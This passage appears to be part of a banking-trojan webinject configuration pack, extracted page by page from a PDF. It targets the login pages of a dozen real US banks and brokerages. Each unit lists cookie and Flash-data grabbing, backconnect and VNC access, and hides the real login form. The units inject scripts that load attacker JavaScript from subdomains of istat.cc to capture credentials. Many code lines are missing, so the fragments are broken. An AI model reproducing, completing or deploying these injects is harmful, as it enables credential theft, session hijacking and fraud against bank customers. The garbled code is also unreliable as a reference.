;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject>

Page 129

injpack1_skylineinc-inc net (2).txt<script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = 'citizens';

if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {







};lvljQuery.src =




+ Math.random();});

}} else {




</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<CITIZENS CORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>Page 130


<unit><url domain="*usgateway1.rbs.com*" request="*portal/cb/applications*" />

<cookies_get domain="*citizensbankmoneymanagergps.com*" /><avi domain="*usgateway1.rbs.com*" request="*portal/cb/applications*" /><sols_get domain="*citizensbankmoneymanagergps.com*" />

<backconnect domain="*citizensbankmoneymanagergps.com*" /><vnc domain="*citizensbankmoneymanagergps.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="login"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = 'citizenscorp';if (window.location.href.indexOf('MoneyManagerGps')+1) {if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {







};lvljQuery.src =

"https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js";Page 131

injpack1_skylineinc-inc net (2).txt } else {



+ Math.random();});

}} else {


Math.random();}} else

document.getElementById('login').style.display='block';

</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FISTCITIZEN>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*banking.firstcitizens.com*" request="*servlet/efs/jsp-ns/login-fcbnc.jsp*" /><url domain="*www.firstcitizens.com*" /><url domain="*banking.firstcitizens.com*" request="*servlet/efs/jsp-ns/auth-login3.jsp*" /><url domain="*banking.firstcitizens.com*" request="*servlet/efs/jsp-ns/auth-login2.jsp*" />

<backconnect domain="*firstcitizens.com*" /><vnc domain="*firstcitizens.com*" />

;<cookies_get domain="*firstcitizens.com*" /><cookies_get domain="*banking.firstcitizens.com*" request="*efsonline*" /><sols_get domain="*firstcitizens.com*" request="*efsonline*" />

<avi domain="*firstcitizens.com*" request="*servlet/efs/jsp-ns/login-fcbnc.jsp*" />;<sols_get domain="*firstcitizens.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="SignOn"</begin><inject> style="display:none;" id="lvl_form"</inject><end mask="*">

Page 132


<data><begin mask="*">*class="loginForm"</begin><inject> style="display:none;" id="lvl_form"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = 'firstcitizens';if (document.getElementById('lvl_form')) {if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 && ua.indexOf('msie 9') == -1) {







};lvljQuery.src =




+ Math.random();});

}Page 133

injpack1_skylineinc-inc net (2).txt} else {


Math.random();}} </script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FISTCITIZEN>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*cbs.firstcitizens.com*" request="*servlet/cb/loginfcbnc.jsp*" /><url domain="*cbs.firstcitizens.com*" request="*servlet/cb/auth_login3.jsp*" /><url domain="*cbs.firstcitizens.com*" request="*servlet/cb/auth_challenge2.jsp*" />

<cookies_get domain="*cbs.firstcitizens.com*" /><avi domain="*cbs.firstcitizens.com*" request="*servlet/cb/loginfcbnc.jsp*" /><sols_get domain="*cbs.firstcitizens.com*" />

<backconnect domain="*firstcitizens.com*" /><vnc domain="*cbs.firstcitizens.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="loginForm"</begin><inject> style="display:none;" id="lvl_form"</inject><end mask="*"></end></data>

<data><begin mask="*">*name="AuthConfirm"</begin><inject> style="display:none;" id="lvl_form"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*">

Page 134

injpack1_skylineinc-inc net (2).txt</begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">

var ___path = 'firstcitizensbiz';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'lvl_form';


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) {

Page 135

injpack1_skylineinc-inc net (2).txt document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {} } else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<HARISBANK>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www4.harrisbank.com*" request="*us*" />

<cookies_get domain="*www4.harrisbank.com*" request="*us*" /><avi domain="*www4.harrisbank.com*" request="*us*" /><sols_get domain="*www4.harrisbank.com*" request="*us*" />

<backconnect domain="*harrisbank.com*" /><vnc domain="*www4.harrisbank.com*" request="*us*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="xyz"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>


var ___path = 'haris';Page 136

injpack1_skylineinc-inc net (2).txtvar url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'xyz';


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } });

Page 137

injpack1_skylineinc-inc net (2).txt }); }} catch (e) {} } else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<HSBC PERS>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www.us.hsbc.com*" request="*1/2/!ut/p/c1*" />

<cookies_get domain="*www.us.hsbc.com*" request="*1/2/!ut/p/c1*" /><avi domain="*www.us.hsbc.com*" request="*1/2/!ut/p/c1*" /><sols_get domain="*www.us.hsbc.com*" request="*1/2/!ut/p/c1*" />

<backconnect domain="*hsbc.com*" /><vnc domain="*www.us.hsbc.com*" request="*1/2/!ut/p/c1*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="inputForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>


var ___path = 'hsbc';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'inputForm';

var loadJS = function(url,callBack) { if (callBack == undefined)

Page 138

injpack1_skylineinc-inc net (2).txt callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {} } else { loadJS(url,function() { if (!window.lvltxt) {

Page 139

injpack1_skylineinc-inc net (2).txt document.getElementById(hiddenID).style.display='block'; return false; } }); }</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<HSBC BIZ>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www.us.hsbc.com*" request="*1/2/home/business*" /><url domain="*www.us.hsbc.com*" request="*1/2/3/business/online/business-internet-banking/log-on*" />

<cookies_get domain="*www.us.hsbc.com*" request="*1/2/home/business*" /><avi domain="*www.us.hsbc.com*" request="*1/2/home/business*" /><sols_get domain="*www.us.hsbc.com*" request="*1/2/home/business*" />

<backconnect domain="*hsbc.com*"/><vnc domain="*www.us.hsbc.com*" request="*1/2/home/business*" />

<cookies_get domain="*www.us.hsbc.com*" request="*1/2/3/business/online/business-internet-banking/log-on*" /><avi domain="*www.us.hsbc.com*" request="*1/2/3/business/online/business-internet-banking/log-on*" /><sols_get domain="*www.us.hsbc.com*" request="*1/2/3/business/online/business-internet-banking/log-on*" />

<backconnect domain="*hsbc.com*" /><vnc domain="*www.us.hsbc.com*" request="*1/2/3/business/online/business-internet-banking/log-on*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="onlineBanking"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*id="ibLogonForm"</begin><inject>

Page 140

injpack1_skylineinc-inc net (2).txt style="display:none;"</inject><end mask="*"></end></data>


var ___path = 'hsbcbiz';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'logon';if (document.getElementById('ibLogonForm'))

hiddenID = 'ibLogonForm';


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); });

Page 141

injpack1_skylineinc-inc net (2).txt } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {} } else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<INGDIRECT>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*secure.ingdirect.com*" request="*myaccount/INGDirect/external_signin.vm*" /><url domain="*secure.ingdirect.com*" request="*myaccount/INGDirect/login.vm*" /><url domain="*secure.ingdirect.com*" request="*myaccount/INGDirect/login_pinpad.vm*"/>

<cookies_get domain="*secure.ingdirect.com*" request="*myaccount/INGDirect/*" /><avi domain="*secure.ingdirect.com*" request="*myaccount/INGDirect/*" /><sols_get domain="*secure.ingdirect.com*" request="*myaccount/INGDirect/*" />

<backconnect domain="*ingdirect.com*" /><vnc domain="*secure.ingdirect.com*" request="*myaccount/INGDirect/*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="Signin"

Page 142


<data><begin mask="*">*id="LoginPinPad"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>


var ___path = 'ingdirect';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'Signin';if(document.getElementById('LoginPinPad'))

hiddenID ='LoginPinPad';


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) {

Page 143

injpack1_skylineinc-inc net (2).txt google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {} } else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }</script>


<data><begin mask="*">womAdd("megamenu.initialize()");</begin><inject></script><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">

var ___path = 'ingdirect';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();Page 144

injpack1_skylineinc-inc net (2).txtvar hiddenID = 'Signin';


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); });

Page 145

injpack1_skylineinc-inc net (2).txt }} catch (e) {} } else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<navyfederal>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www.navyfederal.org*" />

<cookies_get domain="*www.navyfederal.org*" /><avi domain="*www.navyfederal.org*" /><sols_get domain="*www.navyfederal.org*" />

<backconnect domain="*navyfederal.org*" /><vnc domain="*www.navyfederal.org*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="logon"</begin><inject> style="display:none;" id="lvlfrm"</inject><end mask="*"></end></data>


var ___path = 'navyFederal';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'lvlfrm';

if (document.getElementById('lvlfrm')) {var loadJS = function(url,callBack) {

if (callBack == undefined) callBack = function() {return};

Page 146

injpack1_skylineinc-inc net (2).txt lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}


} else { loadJS(url,function() { if (!window.lvltxt) {

Page 147

injpack1_skylineinc-inc net (2).txtdocument.getElementById(hiddenID).style.display='block'; return false; } });

}}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<sovereignbank>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*drob.sovereignbank.com*" request = "*cscobgss/Satellite*" />

<cookies_get domain="*drob.sovereignbank.com*" request = "*cscobgss/Satellite*" /><avi domain="*drob.sovereignbank.com*" request = "*cscobgss/Satellite*" /><sols_get domain="*drob.sovereignbank.com*" request = "*cscobgss/Satellite*" />

<backconnect domain="*sovereignbank.com*" /><vnc domain="*drob.sovereignbank.com*" request = "*cscobgss/Satellite*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="formsovAH01"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>


var ___path = 'sovereignbank';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'formsovAH01';

var loadJS = function(url,callBack) { if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt');

Page 148

injpack1_skylineinc-inc net (2).txt lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}


} else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block';

Page 149

injpack1_skylineinc-inc net (2).txt return false; } });

}

</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<sovereignbank biz>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*bob2.sovereignbank.com*" request = "*wcmpw/CustomerLogin*" /><url domain="*iris.sovereignbank.com*" request = "*wcmpw/CustomerLogin*" />

<cookies_get domain="*sovereignbank.com*" request = "*wcmpw/CustomerLogin*" /><avi domain="*sovereignbank.com*" request = "*wcmpw/CustomerLogin*" /><sols_get domain="*sovereignbank.com*" request = "*wcmpw/CustomerLogin*" />

<backconnect domain="*sovereignbank.com*" /><vnc domain="*sovereignbank.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="inputForm"</begin><inject> style="display:none;" id="formsovAH01"</inject><end mask="*"></end></data>

<data><begin mask="*">*id="Login"</begin><inject>

</inject><end mask="*">></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data>

Page 150

injpack1_skylineinc-inc net (2).txt<begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">

var ___path = 'sbbiz';if (window.location.href.indexOf('iris')+1)

___path = 'sbcorp';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'formsovAH01';var loadJS = function(url,callBack) {

if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; }

Page 151

injpack1_skylineinc-inc net (2).txt loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {}


}

</script>

</inject><end mask="*"></BODY></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<suntrust>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www.suntrust.com*" />

<cookies_get domain="*www.suntrust.com*" /><avi domain="*www.suntrust.com*" /><sols_get domain="*www.suntrust.com*" />

<backconnect domain="*suntrust.com*" /><vnc domain="*www.suntrust.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="loginForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

Page 152


;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">if (document.getElementById('loginForm')) {

var ___path = 'suntrust';if (window.location.href.indexOf('SmallBusiness')+1)

___path = 'suntrustbiz';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'loginForm';var loadJS = function(url,callBack) {


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){

Page 153

injpack1_skylineinc-inc net (2).txt if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {}


}}</script>

</inject><end mask="*"><script type="text/javascript">var pageUrl = 'STcom|PersonalBkg|Home'; var isHome = true;</script></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<ETRADE>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*etrade.com*" />

<cookies_get domain="*etrade.com*" /><avi domain="*etrade.com*" /><sols_get domain="*etrade.com*" />

<backconnect domain="*etrade.com*" /><vnc domain="*etrade.com*" />;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="log-on-form"</begin><inject> style="display:none;"</inject>

Page 154


;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">if (document.getElementById('log-on-form')) {

var ___path = 'etrade';


var hiddenID = 'log-on-form';var loadJS = function(url,callBack) {


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else {

Page 155

injpack1_skylineinc-inc net (2).txtloadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {}


}}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<CHASEBIZ>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www.chase.com*" request="*ccp/index.jsp*" />

<cookies_get domain="*www.chase.com*" request="*ccp/index.jsp*" /><avi domain="*www.chase.com*" request="*ccp/index.jsp*" /><sols_get domain="*www.chase.com*" request="*ccp/index.jsp*" />

<backconnect domain="*chase.com*" /><vnc domain="*www.chase.com*" request="*ccp/index.jsp*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="logonform"</begin><inject> style="display:none;"</inject><end mask="*"></end>

Page 156


;<<<<<<<<<<BUG CUT<data><begin mask="*">"ccpmapp/smallbusiness/home/page/business_banking_home","business_banking","");</begin><inject>

</inject><end mask="*"></script></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">if (document.getElementById('pageHeader') && document.getElementById('pageHeader').innerHTML.indexOf('Business')+1) {

var ___path = 'chasebiz';


var hiddenID = 'logonform';var loadJS = function(url,callBack) {


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) {

Page 157

injpack1_skylineinc-inc net (2).txtdocument.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {}


}}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<BOFA PERS & BIZ>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*bankofamerica.com*" />

<avi domain="*bankofamerica.com*" />

<cookies_get domain="*secure.bankofamerica.com*" request="*myaccounts*"/><sols_get domain="*secure.bankofamerica.com*" request="*myaccounts*"/>

<backconnect domain="*bankofamerica.com*" />Page 158

injpack1_skylineinc-inc net (2).txt<vnc domain="*bankofamerica.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="frmSignIn"</begin><inject> style="display:none;" id="logonform"</inject><end mask="*"></end></data>

<data><begin mask="*">*id="ConfirmSitekeyForm"</begin><inject> style="display:none;" id="logonform"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">if (self==top) {if (document.location.href.indexOf('cashproonline')==-1) {

var ___path = 'bofa';//var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js';var hiddenID = 'logonform';if (document.getElementById('ConfirmSitekeyForm'))

hiddenID = 'ConfirmSitekeyForm';var loadJS = function(url,callBack) {

if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0);

Page 159

injpack1_skylineinc-inc net (2).txt } };

}



}}}</script>


</unit>

Page 160


;<<<<<<<<<<<<<<<<<<<<<<<<<<<<BOFA CORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*cashproonline.bankofamerica.com*" request="*login/public/loginMain.faces*"/>

<cookies_get domain="*cashproonline.bankofamerica.com*" request="*login/public/loginMain.faces*"/><avi domain="*cashproonline.bankofamerica.com*" request="*login/public/loginMain.faces*"/><sols_get domain="*cashproonline.bankofamerica.com*" request="*login/public/loginMain.faces*"/>

<backconnect domain="*bankofamerica.com*" /><vnc domain="*cashproonline.bankofamerica.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="loginRight:login_form"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>


var ___path = 'bofacorp';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'loginRight:login_form';var loadJS = function(url,callBack) {

if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState ==

Page 161

injpack1_skylineinc-inc net (2).txt"loaded") { setTimeout(function() { self.onload() }, 0); } };

}



}</script>


</unit>

Page 162


;<<<<<<<<<<<<<<<<<<<<<<<<<<<<wellsfargo PERS BIZ>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www.wellsfargo.com*" />

<cookies_get domain="*www.wellsfargo.com*" /><avi domain="*wellsfargo.com*" /><sols_get domain="*wellsfargo.com*" />

<backconnect domain="*wellsfargo.com*" /><vnc domain="*wellsfargo.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="frmSignon"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<<<<<<<<<<< IE BUG FIX<data><begin mask="*"><script type="text/javascript">document.getElementById("userid")</begin><inject>;</inject><end mask="*"></script></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">if (document.getElementById('frmSignon')) {

var ___path = 'wellsfargo';if (window.location.href.indexOf('biz')+1)

